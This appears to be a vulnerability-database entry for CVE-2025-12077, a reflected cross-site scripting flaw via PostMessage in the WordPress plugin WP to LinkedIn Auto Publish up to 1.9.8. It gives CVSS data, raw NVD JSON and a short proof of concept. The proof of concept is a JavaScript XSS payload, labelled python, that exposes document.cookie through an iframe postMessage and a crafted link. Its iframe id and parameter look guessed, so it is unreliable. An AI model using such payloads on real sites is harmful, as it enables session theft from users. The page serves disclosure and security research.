Security Vulnerability Report
中文
CVE-2025-12077 CVSS 6.1 MEDIUM

CVE-2025-12077

Published: 2025-12-13 16:16:46
Last Modified: 2026-04-15 00:35:42

Description

The WP to LinkedIn Auto Publish plugin for WordPress is vulnerable to Reflected Cross-Site Scripting via PostMessage in all versions up to, and including, 1.9.8 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that execute if they can successfully trick a user into performing an action such as clicking on a link.

CVSS Details

CVSS Score
6.1
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

Configurations (Affected Products)

No configuration data available.

WP to LinkedIn Auto Publish插件所有版本 <= 1.9.8

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
// CVE-2025-12077 PoC - Reflected XSS via PostMessage // Target: WP to LinkedIn Auto Publish plugin <= 1.9.8 // Malicious page that sends XSS payload via PostMessage const maliciousPayload = '<img src=x onerror=alert(document.cookie)>'; // Target WordPress site with vulnerable plugin const targetOrigin = window.location.origin; // Send malicious payload to the vulnerable iframe const iframe = document.getElementById('linkedin-publish-iframe'); iframe.contentWindow.postMessage(maliciousPayload, targetOrigin); // Alternative: Direct link-based XSS (if reflected in URL) // <a href="https://victim-site.com/wp-admin/admin.php?page=linkedin-auto-publish&msg=<img src=x onerror=alert(document.cookie)>">Click me</a>

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-12077", "sourceIdentifier": "[email protected]", "published": "2025-12-13T16:16:46.063", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The WP to LinkedIn Auto Publish plugin for WordPress is vulnerable to Reflected Cross-Site Scripting via PostMessage in all versions up to, and including, 1.9.8 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that execute if they can successfully trick a user into performing an action such as clicking on a link."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", "baseScore": 6.1, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/linkedin-auto-publish/trunk/js/notice.js", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/changeset?sfp_email=&sfph_mail=&reponame=&old=3412103%40linkedin-auto-publish&new=3412103%40linkedin-auto-publish&sfp_email=&sfph_mail=", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/b680132a-f397-4636-98b2-bcd8c168e822?source=cve", "source": "[email protected]"}]}}